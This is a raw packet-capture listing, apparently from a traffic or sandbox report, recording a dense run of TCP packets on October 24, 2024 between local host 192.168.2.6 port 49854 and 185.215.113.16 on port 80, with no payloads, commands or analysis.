Oct 24, 2024 11:02:47.802997112 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803004026 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803052902 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803056955 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803092003 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803106070 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803138018 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803144932 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803181887 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803194046 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803220034 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803225994 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803255081 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803266048 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803299904 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803308964 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803397894 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803417921 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803450108 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803455114 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803486109 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803500891 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803522110 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803529978 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803555965 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803566933 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803591967 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803601980 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803608894 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803627014 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803641081 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803662062 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803695917 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803697109 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803719044 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803730965 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803745031 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803765059 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803774118 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803803921 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803838015 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803853989 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803873062 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803889036 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803906918 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803922892 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803941965 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803960085 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.803976059 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.803986073 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804013014 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804023027 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804047108 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804056883 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804081917 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804092884 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804114103 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804127932 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804150105 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804161072 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804187059 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804219007 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804254055 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804260015 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804260015 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804260015 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804281950 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804318905 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804330111 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804353952 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804366112 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804387093 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804402113 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804421902 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804431915 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804461002 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804466963 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804496050 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804514885 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804531097 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804539919 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804568052 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804594040 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804601908 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804614067 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804635048 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804646969 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804670095 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804696083 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804703951 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804716110 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804740906 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804775000 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804785013 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804785013 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804807901 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804831982 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804842949 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804864883 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804872990 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804904938 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804909945 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804919958 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804943085 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804954052 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.804979086 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.804997921 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805015087 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805026054 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805048943 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805063009 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805092096 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805098057 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805128098 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805146933 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805170059 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805180073 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805206060 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805222988 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805243015 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805252075 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805278063 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805299044 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805311918 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805325031 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805347919 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805361986 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805378914 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805397034 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805414915 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805423975 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805449963 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805461884 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805486917 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805499077 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805521011 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805533886 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805553913 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805572987 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805588961 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805600882 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805619001 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805649042 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805653095 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805665970 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805689096 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805715084 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805721998 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805737019 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805761099 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805775881 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805795908 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805809021 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805833101 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805845022 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805864096 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805881023 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805910110 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805916071 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805951118 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.805970907 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.805996895 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806003094 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.806037903 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.806051016 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806085110 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806092024 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.806143045 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806148052 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.806181908 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.806194067 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806216955 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.806227922 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806266069 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806272030 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.806308031 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.806324005 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806339979 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.806351900 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806375980 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.806389093 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806407928 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.806421995 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806442022 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.806453943 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806478024 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.806490898 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806512117 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.806521893 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806552887 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806552887 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.806596041 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.806606054 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806636095 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.806651115 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806667089 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.806682110 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806718111 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806718111 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.806752920 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.806771994 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806787968 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.806811094 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806829929 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806910038 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.806963921 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.806967974 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.807020903 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.807022095 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.807073116 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.807080030 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.807128906 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.807135105 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.807183027 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.807187080 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.807239056 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.807245970 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.807296991 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.807300091 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.807349920 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.807379007 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.807429075 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.807435036 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.807485104 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.807491064 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.807539940 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.807559013 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.807604074 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.807610989 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.807658911 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.807667971 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.807717085 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.807720900 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.807755947 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.807770014 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.807789087 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.807801008 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.807822943 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.807847977 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.807868958 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.807877064 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.807910919 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.807945967 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.807948112 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.807967901 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.807993889 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.807997942 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808034897 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808049917 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808088064 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808088064 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808140993 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808167934 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808226109 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808228016 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808284998 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808285952 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808315992 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808336020 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808365107 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808372974 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808424950 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808427095 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808464050 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808478117 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808499098 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808514118 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808536053 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808545113 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808572054 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808583021 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808612108 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808623075 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808648109 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808676958 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808681011 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808684111 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808716059 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808731079 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808748960 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808763027 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808784008 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808804989 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808819056 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808834076 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808854103 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808868885 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808890104 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808918953 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808922052 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808947086 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808958054 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.808965921 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.808994055 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809003115 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809030056 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809036970 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809063911 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809075117 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809101105 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809106112 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809137106 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809146881 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809173107 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809174061 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809209108 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809218884 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809245110 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809257030 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809278965 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809292078 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809314013 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809338093 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809344053 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809376955 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809381008 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809390068 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809412956 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809437990 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809448957 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809458971 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809484005 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809493065 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809518099 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809528112 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809552908 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809564114 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809587955 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809608936 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809626102 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809631109 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809659004 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809673071 CEST	49854	80	192.168.2.6	185.215.113.16
